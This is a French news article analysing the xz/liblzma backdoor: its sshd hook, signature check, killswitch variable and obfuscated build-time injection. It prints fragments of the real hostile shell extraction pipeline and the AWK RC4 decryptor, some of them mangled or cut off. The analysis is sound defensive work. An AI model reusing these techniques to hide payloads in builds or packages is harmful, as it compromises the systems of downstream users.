Les résultats préliminaires de l'ingénierie inverse d'un fichier objet malveillant, intégré dans liblzma à la suite d'une campagne de promotion d'un backdoor dans le paquet xz, sont maintenant disponibles. Le backdoor n'affecte que les systèmes x86_64 sous noyau Linux et les bibliothèques C Glibc, où un correctif supplémentaire est appliqué à sshd, permettant de lier à la bibliothèque libsystemd pour prendre en charge le mécanisme sd_notify. Au départ, on pensait que le backdoor permettait de contourner l'authentification dans sshd et d'accéder au système via SSH. Une analyse plus approfondie a montré que ce n'est pas le cas, et le backdoor permet d'exécuter du code arbitraire sur le système, sans laisser de traces dans les logs de sshd.
En particulier, la fonction RSA_public_decrypt interceptée par le backdoor vérifie la signature de l'hôte en utilisant une clé fixe Ed448, et en cas de succès de la vérification, exécute le code fourni par un hôte externe à l'aide de la fonction system() avant la suppression des privilèges par le processus sshd. Les données contenant le code à exécuter sont extraites du paramètre « N » passé à la fonction RSA_public_decrypt (le champ « n » de la structure rsa_st, contenant la clé publique fournie par l'hôte externe), vérifiées par un hash et décryptées à l'aide d'une clé prédéfinie ChaCha20 avant la vérification de la signature numérique Ed448.
Le mécanisme de partage des clés hôtes est utilisé comme indicateur pour activer le backdoor dans sshd. Le backdoor exploite le fait que les certificats OpenSSH incluent la clé publique de l'entité ayant créé la signature et ne réagit qu'à la clé préparée par l'attaquant, correspondant à la clé fixe prédéfinie Ed448. Si la vérification de la signature par la clé publique échoue, ou si l'intégrité des données à exécuter n'est pas confirmée, le backdoor retourne le contrôle aux fonctions standard de SSH.
Étant donné que la clé privée de l'attaquant est inconnue, il est impossible de mettre en œuvre un code de vérification qui permettrait à des tiers d'activer le backdoor et de réaliser un scanner d'hôtes compromis sur le réseau. Des chercheurs ont préparé un script démontrant la technique de substitution de la clé publique par un contenu arbitraire dans le certificat OpenSSH transmis par le client SSH, qui sera traité dans la fonction RSA_public_decrypt interceptée par le backdoor.
Les chercheurs ont également noté la présence d'une construction désactivant le binaire d'accès (killswitch) sur le système local en définissant la variable d'environnement avant le démarrage de sshd : «yolAbejyiejuvnup=Evjtgvsh5okmkAvj».
De plus, on peut souligner l'analyse détaillée des constructions shell utilisées pour obscurcir le processus d'extraction du fichier binaire contenant le binaire d'accès et son injection dans la bibliothèque liblzma. Lors de la création du paquet xz à partir du script build-to-host.m4, un code a été exécuté qui trouvait parmi les fichiers test l'archive bad-3-corrupt_lzma2.xz, remplaçait certains caractères pour en faire une archive intacte et en extrayait le script shell. gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2> /dev/null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2> /dev/null' gl_path_map='tr «\t \-_» » \t_\-«'
Le script shell résultant extrayait par morceaux le contenu de l'archive good-large_compressed.lzma un autre script shell, en omettant certaines séquences avec les commandes head et tail, et en remplaçant des caractères avec la commande tr. ####Hello#### # quelques octets binaires ici, mais comme c'est un commentaire, ils sont ignorés [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f .. / .. /config.status; then eval `grep ^srcdir= .. / .. /config.status` srcdir=«.. / .. /$srcdir» fi export i=«((head -c +1024 > /dev /null) && head -c +2048 && (head -c +1024 > /dev /null) && head -c +2048 && (head -c +1024 > /dev /null) && head -c +2048 && (head -c +1024 > /dev /null) && head -c +2048 && (head -c +1024 > /dev /null) && head -c +2048 && (head -c +1024 > /dev /null) && head -c +2048 && (head -c +1024 > /dev /null) && head -c +2048 && (head -c +1024 > /dev /null) && head -c +2048 && (head -c +1024 > /dev /null) && head -c +2048 && (head -c +1024 > /dev /null) && head -c +2048)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####
En conséquence, un script shell assez complexe et volumineux a été constitué, extrayant directement le fichier contenant le backdoor de l'archive good-large_compressed.lzma, le décryptant et l'intégrant dans liblzma. Parmi d'autres choses, le script comportait la mise en œuvre d'un mécanisme de plugins, permettant par la suite de fournir des composants exécutables supplémentaires en plaçant de nouvelles archives de test, sans modifier good-large_compressed.lzma et bad-3-corrupt_lzma2.xz, mais en utilisant une recherche par signature. Le code employait également un déchiffreur basé sur l'algorithme RC4, implémenté en AWK : N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
Source : opennet.ru
